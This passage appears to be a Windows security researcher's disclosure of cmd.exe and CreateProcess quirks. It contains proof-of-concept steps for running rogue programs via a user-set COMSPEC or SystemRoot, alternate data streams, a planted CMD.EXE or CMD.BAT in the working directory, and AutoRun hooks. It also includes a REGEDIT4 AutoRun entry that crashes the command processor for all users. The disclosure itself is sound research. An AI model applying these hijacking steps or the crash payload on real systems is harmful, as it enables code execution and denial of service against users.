CAVEAT: thanks to the Merged View of HKEY_CLASSES_ROOT introduced with Windows 2000 this remediation fails if the corresponding registry key HKEY_CURRENT_USER\Software\Classes\‹progid›\Shell\‹verb›\Command with the vulnerable command line "%1" %* is present!

Demonstration (Part 2)

Perform the following 9 simple steps to prove the documentation cited above wrong and to show undocumented (mis)behaviour with the resulting vulnerabilities:
  1. Create the text file quirk3.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	WCHAR	szCmdLine[] = L".\\Quirk3.bat";
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess = sizeof(szProcess) / sizeof(*szProcess);
    	DWORD	dwThread;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!CreateProcess((LPWSTR) NULL,
    		                   szCmdLine,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   FALSE,
    		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    		                   (LPWSTR) NULL,
    		                   (LPCWSTR) NULL,
    		                   &si,
    		                   &pi))
    			PrintConsole(hConsole,
    			             L"CreateProcess() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (!QueryFullProcessImageName(pi.hProcess, 0, szProcess, &dwProcess))
    				PrintConsole(hConsole,
    				             L"QueryFullProcessImageName() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"Child process loaded from file \'%ls\'\n",
    				             szProcess);
    
    			PrintConsole(hConsole,
    			             L"Child process %lu with primary thread %lu created\n",
    			             pi.dwProcessId, pi.dwThreadId);
    
    			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    				PrintConsole(hConsole,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeThread(pi.hThread, &dwThread))
    				PrintConsole(hConsole,
    				             L"GetExitCodeThread() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwThread > 65535)
    					PrintConsole(hConsole,
    					             L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
    					             pi.dwThreadId, pi.dwProcessId, dwThread);
    				else
    					PrintConsole(hConsole,
    					             L"Primary thread %lu of child process %lu exited with code %lu\n",
    					             pi.dwThreadId, pi.dwProcessId, dwThread);
    
    			if (!CloseHandle(pi.hThread))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    				PrintConsole(hConsole,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
    				PrintConsole(hConsole,
    				             L"GetExitCodeProcess() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwProcess > 65535)
    					PrintConsole(hConsole,
    					             L"Child process %lu exited with code 0x%08lX\n",
    					             pi.dwProcessId, dwProcess);
    				else
    					PrintConsole(hConsole,
    					             L"Child process %lu exited with code %lu\n",
    					             pi.dwProcessId, dwProcess);
    
    			if (!CloseHandle(pi.hProcess))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk3.exe from the source file quirk3.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk3.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk3.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk3.c
    quirk3.c(58) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk3.exe
    quirk3.obj
  3. Create the text file quirk3.bat with the following content next to the console application quirk3.exe built in step 2.:

    @ECHO %CMDCMDLINE%
  4. Execute the console application quirk3.exe built in step 2. a first time to prove the documentation cited above wrong:

    .\quirk3.exe
    Child process loaded from file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 6008 with primary thread 5092 created
    C:\Windows\system32\cmd.exe /c .\Quirk3.bat
    Primary thread 5092 of child process 6008 exited with code 0
    Child process 6008 exited with code 0
    OUCH¹: despite its lpApplicationName argument set to NULL the Win32 function CreateProcess() executes a batch script with only its lpCommandLine argument set to the (absolute or relative) path name of that batch script!
  5. Set the environment variable COMSPEC to the path name of an arbitrary application, then execute the console application quirk3.exe a second time to show undocumented behaviour:

    SET COMSPEC=%SystemRoot%\System32\Reg.exe
    .\quirk3.exe
    Child process loaded from file 'C:\Windows\SysWOW64\reg.exe'
    Child process 5832 with primary thread 5704 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 5704 of child process 5832 exited with code 1
    Child process 5832 exited with code 1
    OUCH²: the Win32 function CreateProcess() evaluates the environment variable COMSPEC and executes an arbitrary (rogue) application!
  6. Set the environment variable COMSPEC to the (relative or absolute) path name of an arbitrary NTFS Alternate Data Stream that contains an arbitrary application, then execute the console application quirk3.exe a third time to show undocumented behaviour:

    SET COMSPEC=.\quirk3.bat:Zone.Identifier
    TYPE "%SystemRoot%\System32\Reg.exe" 1>"%COMSPEC%"
    .\quirk3.exe
    Child process loaded from file 'C:\Users\Stefan\Desktop\quirk3.bat:Zone.Identifier'
    Child process 6252 with primary thread 6096 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 6096 of child process 6252 exited with code 1
    Child process 6252 exited with code 1
    OUCH³: the Win32 function CreateProcess() evaluates the environment variable COMSPEC and executes an arbitrary (rogue) application also from an Alternate Data Stream!
  7. Remove the environment variable COMSPEC, then execute the console application quirk3.exe a fourth time to show undocumented behaviour:

    SET COMSPEC=
    .\quirk3.exe
    Child process loaded from file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 5436 with primary thread 5916 created
    C:\Windows\system32\cmd.exe /c .\Quirk3.bat
    Primary thread 5916 of child process 5436 exited with code 0
    Child process 5436 exited with code 0
    Oops: the Win32 function CreateProcess() finds the Command Processor even when the environment variable COMSPEC is not set!
  8. Copy an arbitrary application (or an empty file) as CMD.EXE into the current directory, then execute the console application quirk3.exe a fifth time to show that it doesn’t execute CMD.EXE from its application directory, i.e. doesn’t search the path:

    COPY "%SystemRoot%\System32\Reg.exe" CMD.EXE
    .\quirk3.exe
    Child process loaded from file 'C:\Windows\SysWOW64\cmd.exe'
    Child process 5720 with primary thread 6184 created
    C:\Windows\system32\cmd.exe /c .\Quirk3.bat
    Primary thread 6184 of child process 5720 exited with code 0
    Child process 5720 exited with code 0
  9. Create a subdirectory System32\ in the current directory, copy an arbitrary application as CMD.EXE into it and set the environment variable SystemRoot to the current directory, then execute the console application quirk3.exe a last time to show more undocumented behaviour:

    MKDIR System32
    MOVE CMD.EXE System32
    SET SystemRoot=%CD%
    .\quirk3.exe
    Child process loaded from file 'C:\Users\Stefan\Desktop\System32\CMD.EXE'
    Child process 5372 with primary thread 5448 created
    ERROR: Invalid Argument/Option - '/c'.
    Type "REG /?" for usage.
    Primary thread 5448 of child process 5372 exited with code 1
    Child process 5372 exited with code 1
    OUCH⁴: if the environment variable COMSPEC is not set the Win32 function CreateProcess() evaluates the environment variable SystemRoot and executes an arbitrary (rogue) application from the path %SystemRoot%\System32\Cmd.exe!
Note: the repetition of this demonstration with the environment variable COMSPEC or SystemRoot pointing to an arbitrary UNC path is left as an exercise to the reader!

Note: the evaluation of the (mis)behaviour with the Win32 functions CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The (unintended) execution of (bogus) applications determined by (user-controlled) environment variables like COMSPEC or SystemRoot is a well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE; it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values documented in the CAPEC.

Quirk № 4

The documentation for the builtin Start command of the Command Processor states:

Demonstration

Perform the following 9 simple steps to prove both statements of the documentation cited above wrong and also show undocumented (mis)behaviour that leads to a security vulnerability.
  1. Start the Command Processor, then run the following command lines to set the CWD to an arbitrary directory where you can create files, delete all environment variables, set the environment variable COMSPEC and list them all:

    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    CHDIR /D "%USERPROFILE%"
    PUSHD "%SystemRoot%"
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    SET COMSPEC=%CD%\System32\Reg.exe
    POPD
    SET
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    COMSPEC=C:\Windows\System32\Reg.exe
  2. Run the following command line to prove the first statement of the documentation cited above wrong:

    START CMD /C PAUSE
    Press any key to continue . . .
    OUCH¹: START CMD … does not evaluate the environment variable COMSPEC!
  3. Run the following command lines to create an empty file CMD.EXE in the current directory and (try to) execute it to show the error message to expect:

    COPY NUL: CMD.EXE
    CMD.EXE
            1 file(s) copied.
    Access Denied
  4. Run the following command line to prove the second statement of the documentation cited above wrong too:

    START CMD /C PAUSE
    Access Denied
    OUCH²: START CMD … executes an arbitrary (rogue) application CMD.EXE that eventually exists in the CWD!
  5. Run the following command lines to change the name of the empty file CMD.EXE to CMD.COM and repeat the previous step 4.:

    RENAME CMD.EXE CMD.COM
    START CMD /C PAUSE
    Access Denied
    OUCH²: START CMD … also executes an arbitrary (rogue) application CMD.COM that eventually exists in the CWD!
  6. Run the following command lines to delete the empty file CMD.COM, create a text file CMD.BAT with a single (command) line VERIFY in the current directory and repeat step 4. again:

    ERASE CMD.COM
    1>CMD.BAT ECHO VERIFY
    START CMD /C PAUSE
    VERIFY is off.
    OUCH³: START CMD … also executes an arbitrary (rogue) batch script CMD.BAT that eventually exists in the CWD!

    Note: the repetition of the previous steps with other extensions is left as an exercise to the reader.

  7. Run the following command line to show undocumented (mis)behaviour:

    START /B EXIT
    ERROR: Invalid Argument/Option - '/K'.
    Type "REG /?" for usage.
    OUCH⁴: contrary to the documentation cited above, START ‹arguments› evaluates the (user-controlled) environment variable COMSPEC and executes an arbitrary (rogue) application with the command line %COMSPEC% /K ‹arguments›!

    Note: properly implemented, the Command Processor would use its own path name instead of the value of a user-controlled environment variable!

  8. Run the following command lines to delete the environment variable COMSPEC and repeat the previous step 7. to show more undocumented (mis)behaviour:

    SET COMSPEC=
    START /B EXIT
    The COMSPEC environment variable does not point to CMD.EXE.
    Note: properly implemented, the Command Processor would use its own path name instead of the value of a user-controlled environment variable!
  9. Finally run the following command lines to clean up and terminate the Command Processor:

    ERASE CMD.BAT
    EXIT

Security Impact

The (unintended) execution of (a bogus) application or script CMD.EXE, CMD.COM, CMD.BAT etc. from the CWD constitutes a security vulnerability, similar to CVE-2014-0315 alias MS14-019 I discovered and reported about 6 10 years ago, which was fixed with security update 2922229 back then.

Note: the post MS14-019 – Fixing a binary hijacking via .cmd or .bat file on Microsoft’s Security Research and Defense Blog provides additional information.

The well-known underlying weakness is documented as CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element in the CWE; the well-known attacks are documented as CAPEC-471: Search Order Hijacking and CAPEC-635: Alternative Execution Due to Deceptive Filenames in the CAPEC.

The (unintended) execution of a (bogus) application determined by a (user-controlled) environment variable like COMSPEC is another well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE; it too allows well-known attacks like CAPEC-13: Subverting Environment Variable Values documented in the CAPEC.

Remediation

Set the environment variable NoDefaultCurrentDirectoryInExePath which controls the Win32 function NeedCurrentDirectoryForExePath() with an arbitrary value to remove the (implicit) . alias CWD from (the front of) the search path for executable files.

CAVEAT: the (builtin) command SET NoDefaultCurrentDirectoryInExePath= removes this environment variable from the environment of the current instance of the Command Processor and neutralises the remediation for it and all its future child processes; the command line SetX.exe NoDefaultCurrentDirectoryInExePath "" as well as the VBScript statement WScript.CreateObject("WScript.Shell").Environment("VOLATILE").Item("NoDefaultCurrentDirectoryInExePath") = vbNullString remove this environment variable from the environment of the shell Explorer.exe and neutralise the remediation for all its future child processes!

MSRC Case 59749

Due to its security impact I reported this bug to the MSRC where case number 59749 was assigned.

They replied with the following statements:

The engineering team has looked over the issue and has stated that this appears to be a documentation error and has been handed over to the team owning that site. In this case this does not appear to be a vulnerability and we will be closing it out on our side. The method of using this information in an attack would require a remote attacker to find malicious program that uses the START cmd and trick the user to trigger this program as a minimum.
OUCH: it appears to me that the engineering team is wrong; I recommend to have them read (and understand) especially (the end of) the chapter titled Current Working Directory (CWD) DLL planting of the blog post Triaging a DLL planting vulnerability and recognise the striking similarity:
A DLL planting issue that falls into this category of CWD DLL planting is treated as an Important severity issue and we will issue a security patch for this.

Quirk № 5

The documentation for the builtin For command of the Command Processor states:
The documentation for the Command Processor Cmd.exe states:
Parameter Description
/d Disables execution of AutoRun commands.
[…]
Note: this feature enables (unprivileged) users to tamper with Logon scripts configured by their (privileged) administrators who are unaware of the pitfalls demonstrated below!

Demonstration

Perform the following 4 simple steps to show undocumented (mis)behaviour plus important details missing in the documentation cited above.
  1. Start the Command Processor, then run the following command lines to set the Windows directory as CWD, remove all environment variables, verify that none are left and list the environment variables of a child Cmd.exe process:

    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    CHDIR /D "%SystemRoot%"
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    SET
    FOR /F "Delims=" %? IN ('SET') DO @ECHO %?
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    COMSPEC=C:\Windows\system32\cmd.exe
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    PROMPT=$P$G
    Oops: the Command Processor sets the environment variables COMSPEC, PATHEXT and PROMPT with default values if these are not provided by its caller!
  2. Run the following (equivalent) command lines to show the command line of the child Cmd.exe process:

    FOR /F "Delims=" %? IN ('ECHO %CMDCMDLINE^%') DO @ECHO %?
    FOR /F "Delims= UseBackQ" %? IN (`ECHO %CMDCMDLINE^%`) DO @ECHO %?
    C:\Windows\system32\cmd.exe /c ECHO %CMDCMDLINE%
    C:\Windows\system32\cmd.exe /c ECHO %CMDCMDLINE%
    OUCH¹: both FOR /F … IN ('…') DO … and FOR /F "UseBackQ" … IN (`…`) DO … execute their child Cmd.exe process with the parameter /c only!
  3. Run the following command lines to set an AutoRun command in the user’s Registry, start a child Cmd.exe process and remove the AutoRun command afterwards:

    System32\REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V "AutoRun" /T REG_SZ /D "VERIFY" /F
    FOR /F "Delims=" %? IN ('EXIT') DO @ECHO %?
    System32\REG.EXE DELETE "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V "AutoRun" /F
    The operation completed successfully.
    VERIFY is off.
    The operation completed successfully.
    OUCH²: due to the missing parameter /d the child Cmd.exe process executes the AutoRun command(s) set in the Registry which (can) create additional and typically unwanted output or perform arbitrary nefarious atrocities!
  4. Finally run the following command line to quit the Command Processor:

    EXIT

Security Impact

The (unintended) execution of a (bogus) command specified by a (user-controlled) Registry entry like AutoRun is a well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE; it allows well-known attacks like CAPEC-77: Manipulating User-Controlled Variables documented in the CAPEC.

Remediation

Use
1>"‹file›" (‹command›)
FOR /F "UseBackQ" … IN ("‹file›") DO …
ERASE "‹file›"
instead of
FOR /F "UseBackQ" … IN (`‹command›`) DO …
or
FOR /F … IN ('‹command›') DO …
to prevent the execution of AutoRun commands.

Quirk № 6

The TechNet article The Windows NT Command Shell tells:
When the command shell processes a pipe (|) symbol, it actually runs both commands specified simultaneously.
The documentation for the builtin Rem command of the Command Processor states:
Note: builtin commands except Rem with an argument other than /?, i.e. Assoc, Break, Call, Cd, Chdir, Cls, Color, Copy, Date, Del, Dir, Dpath (undocumented), Echo, Endlocal, Erase, Exit, For, Ftype, Goto, If, Keys (undocumented), Md, Mkdir, Mklink, Move, Path, Pause, Popd, Prompt, Pushd, Rd, Rem, Ren, Rename, Rmdir, Set, Setlocal, Shift, Start, Time, Title, Type, Ver, Verify and Vol, are run in a child Cmd.exe process!

Demonstration

Perform the following 3 simple steps to show undocumented (mis)behaviour and a 25 (in words: twenty-five) year old bug.
  1. Start the Command Processor, then run the following command lines to show undocumented (mis)behaviour:

    ECHO %CMDCMDLINE^% | MORE.COM
    1>&2 ECHO %CMDCMDLINE^% | ECHO %CMDCMDLINE^%
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    C:\windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE% "
    C:\windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE% 1>&2"
    C:\windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE%"
    Oops: the Command Processor executes each builtin command of these pipelines in a separate child Cmd.exe process – fortunately with the parameter /D to disable AutoRun commands!
  2. Run the following command lines to show more undocumented (mis)behaviour:

    1>&2 ECHO %CMDCMDLINE^% | SHIFT
    ECHO %CMDCMDLINE^% | SHIFT
    ECHO %CMDCMDLINE^% | SHIFT /?
    1>&2 ECHO %CMDCMDLINE^% | REM
    ECHO %CMDCMDLINE^% | REM
    ECHO %CMDCMDLINE^% | REM /?
    REM /? | 1>CONOUT$ ECHO %CMDCMDLINE^%
    REM | ECHO %CMDCMDLINE^%
    REM | EXIT
    REM & EXIT
    1>CONOUT$ ECHO
    1>CONIN$ ECHO
    1>. ECHO
    0<. REM
    1>. REM
    2>>. REM
    REM 0<.
    REM 1>.
    REM 2>>.
    C:\Windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE% 1>&2"
    The process tried to write to a nonexistent pipe.
    Changes the position of replaceable parameters in a batch file.
    
    SHIFT [/n]
    
    If Command Extensions are enabled the SHIFT command supports
    the /n switch which tells the command to start shifting at the
    nth argument, where n may be between zero and eight.  For example:
    
        SHIFT /2
    
    would shift %%3 to %%2, %%4 to %%3, etc. and leave %%0 and %%1 unaffected.
    C:\Windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE% 1>&2"
    The process tried to write to a nonexistent pipe.
    Records comments (remarks) in a batch file or CONFIG.SYS.
    
    REM [comment]
    C:\Windows\system32\cmd.exe  /S /D /c" ECHO %CMDCMDLINE% 1>CONOUT$"
    ECHO is on.
    The system cannot write to the specified device.
    Access denied.
    OUCH¹: a pipe operator | or an ampersand operator & following the builtin Rem command with an argument other than /? is not interpreted at all but silently ignored!

    OUCH²: a redirection operator <, > or >> following or preceeding the builtin Rem command with an argument other than /? is not interpreted at all but silently ignored!

  3. Run the following command lines to show more undocumented (mis)behaviour:

    SET COMSPEC=%SystemRoot%\System32\Reg.exe
    EXIT | EXIT
    ERROR: Invalid Argument/Option - '/S'.
    Type "REG /?" for usage.
    ERROR: Invalid Argument/Option - '/S'.
    Type "REG /?" for usage.
    OUCH³: the Command Processor (ab)uses the value of the (user-controlled) environment variable COMSPEC as path name of the child processes!

    Note: properly implemented, the Command Processor would use its own path name instead of the value of a user-controlled environment variable!

  4. Finally run the following command lines to show the bug:

    SET COMSPEC=
    EXIT | REM
    OUCH⁴: the Command Processor crashes with an access violation reading address 0x00000000 when an arbitrary builtin command is run in a pipeline and the environment variable COMSPEC is missing!

Security Impact

The (unintended) execution of a (bogus) application determined by a (user-controlled) environment variable like COMSPEC is a well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE; it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values documented in the CAPEC.

The crash induced by the absence of the (user-controlled) environment variable COMSPEC is a well-known weakness too, documented as CWE-248: Uncaught Exception and CWE-476: NULL Pointer Dereference in the CWE.

This 25 year old bug (really: absolute beginner’s programming error) can trivially be (ab)used to conduct a denial of service attack against the Command Processor and crash it upon launch, thus disabling its use for single or all users of a machine:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="SET COMSPEC=&& EXIT | EXIT"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="SET COMSPEC=&& EXIT | EXIT"

Remediation

Change the command line associated with the extensions .BAT and .CMD from its default value "%1" %* to C:\Windows\System32\Cmd.exe /D /C CALL "%1" %* to prevent the execution of AutoRun commands when starting batch scripts:
FTYPE batfile=%COMSPEC% /D /C CALL "%L" %*
FTYPE cmdfile=%COMSPEC% /D /C CALL "%L" %*
Note: the builtin Ftype command must be run with administrative privileges.

If you still have not abandonded the bad habit of using the Protected Administrator account created during Windows Setup you need to change the command line registered for the RunAs verb too:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"
Note: don’t forget to fix the vulnerable command line cmd.exe /s /k pushd "%V" in the registry keys HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\Shell\Cmd\Command, HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Background\Shell\Cmd\Command, HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Shell\Cmd\Command and HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\Shell\Cmd\Command too!

CAVEAT: thanks to the Merged View of HKEY_CLASSES_ROOT introduced with Windows 2000 this remediation fails if the corresponding registry key HKEY_CURRENT_USER\Software\Classes\…\Shell\‹verb›\Command with the vulnerable command line exists!

Quirk № 7

The documentation for the builtin Call command of the Command Processor states:
Calls one batch program from another without stopping the parent batch program. The call command accepts labels as the target of the call.

Note

Call has no effect at the command prompt when it is used outside of a script or batch file.

The documentation for the builtin Del alias Erase command of the Command Processor specifies:
del [/p] [/f] [/s] [/q] [/a[:]<Attributes>] <Names> erase [/p] [/f] [/s] [/q] [/a[:]<Attributes>] <Names>

[…]

Parameter Description
<Names> Specifies a list of one or more files or directories. Wildcards may be used to delete multiple files. If a directory is specified, all files within the directory will be deleted.
[…]

Demonstration

Perform the following 5 (plus 1) simple steps to show undocumented (mis)behaviour plus important details missing in the documentation cited above and a bug.
  1. Start the Command Processor, then run the following command lines to prove the documentation cited above wrong and to show undocumented (mis)behaviour:

    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    CHDIR /D "%PUBLIC%"
    CALL Reg(Quirk7
    CALL Reg,Quirk7
    CALL Reg;Quirk7
    CALL Reg=Quirk7
    CALL Reg/Quirk7
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    ERROR: Invalid Argument/Option - '(Quirk7'.
    Type "REG /?" for usage.
    
    ERROR: Invalid Argument/Option - ',Quirk7'.
    Type "REG /?" for usage.
    
    ERROR: Invalid Argument/Option - ';Quirk7'.
    Type "REG /?" for usage.
    
    ERROR: Invalid Argument/Option - '=Quirk7'.
    Type "REG /?" for usage.
    
    ERROR: Invalid Argument/Option - '/Quirk7'.
    Type "REG /?" for usage.
    OUCH¹: contrary to its documentation cited above, the builtin Call command does not just call batch scripts and has effect at the interactive command prompt.

    OUCH²: the Command Processor mistreats valid file names containing an opening parenthesis (, a comma ,, a semicolon ; or an equals sign =, and interprets these characters as separator!

    OUCH³: in builtin commands, the Command Processor (mis)treats the forward slash as delimiter or separator.

  2. Run the following command lines to show again undocumented (mis)behaviour:

    COPY NUL: Reg(Quirk7
    COPY NUL: Reg,Quirk7
    COPY NUL: Reg;Quirk7
    COPY NUL: Reg=Quirk7
    COPY NUL: Reg/Quirk7
    MOVE Reg(Quirk7 Reg/Quirk7
    RENAME Reg(Quirk7 Reg,Quirk7
    RENAME Reg(Quirk7 Reg;Quirk7
    RENAME Reg(Quirk7 Reg=Quirk7
    RENAME Reg(Quirk7 Reg/Quirk7
            1 file(s) copied.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    The system cannot find the path specified.
            0 file(s) moved.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    The syntax of the command is incorrect.
    OUCH⁴: now a file name containing an opening parenthesis is valid!
  3. Run the following command lines to show more undocumented (mis)behaviour:

    1>Reg(Quirk7 ECHO
    1>Reg,Quirk7 ECHO
    1>Reg;Quirk7 ECHO
    1>Reg=Quirk7 ECHO
    1>Reg/Quirk7 ECHO
    DIR Reg*
    'Quirk7' is not recognized as an internal or external command,
    operable program or batch file.
    'Quirk7' is not recognized as an internal or external command,
    operable program or batch file.
    'Quirk7' is not recognized as an internal or external command,
    operable program or batch file.
    The system cannot find the file specified.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Public
    
    04/27/2019  08:15 PM                 0 Reg
    04/27/2019  08:15 PM                12 Reg(Quirk7
                   2 File(s)             12 bytes
                   0 Dir(s)    9,876,543,210 bytes free
    OUCH⁵: here the Command Processor (mis)treats the forward slash as backward slash, i.e. as path separator!
  4. Run the following command lines to show yet more undocumented (mis)behaviour and a bug:

    ERASE Reg(Quirk7
    ERASE Reg,Quirk7 Reg;Quirk7 Reg=Quirk7
    ERASE Reg/Quirk7
    Parameter format not correct - "Quirk7".
    OUCH⁶: the builtin Del alias Erase command fails to report errors when more than one file or directory name is given and at least one file is successfully deleted!
  5. Run the following command lines to show still more undocumented (mis)behaviour:

    FOR %? IN (First,Second;Third=Fourth) DO @ECHO %?
    FOR /F "Delims=" %? IN (First,Second;Third=Fourth) DO @ECHO %?
    REM /?,quirk
    REM /?;quirk
    REM /?=quirk
    REM http://www.microsoft.com/?q=quirk
    First
    Second
    Third
    Fourth
    The system cannot find the file First.
    quirk was unexpected at this time.
    quirk was unexpected at this time.
    quirk was unexpected at this time.
    quirk was unexpected at this time.
    OUCH⁷: in builtin commands, the Command Processor mistreats comma, semicolon and equals sign almost always as delimiter or separator, and sometimes like white space.

    OUCH⁸: even in the builtin Rem command, the Command Processor mistreats comma, semicolon and equals sign as separator!

  6. Finally run the following command line to quit the Command Processor.

    EXIT

Quirk № 8

The documentation for the builtin Set command of the Command Processor states:
Ouch: there are no && or || (logical) operators!

Demonstration

Perform the following 9 simple steps to prove the documentation cited above wrong, show undocumented (mis)behaviour and finally a bug!
  1. Start the Command Processor, then run the following command lines to remove all environment variables and list what’s left:

    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    CHDIR /D "%ALLUSERSPROFILE%"
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    CMD.EXE /C EXIT 123
    SET ""
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    =C:=C:\ProgramData
    =ExitCode=0000007B
    =ExitCodeAscii={
    Note: the undocumented command SET "" alias SET "‹any number of spaces›" lists all (regular) environment variables, including the undocumented internal environment variables whose name starts with an equals sign =.
  2. Show some more undocumented environment variables plus strange (mis)behaviour:

    DPATH .;..
    KEYS OFF
    SET
    IF DEFINED __APPDIR__ ECHO Environment variable '__APPDIR__' is defined!
    ECHO '%__APPDIR__%'
    SET __APPDIR__
    IF NOT DEFINED __CD__ ECHO Environment variable '__CD__' is not defined!
    ECHO '%__CD__%'
    SET __CD__
    SET __CD__=quirk
    SET __CD__
    ECHO '%__CD__%'
    SET NUMBER_OF_PROCESSORS
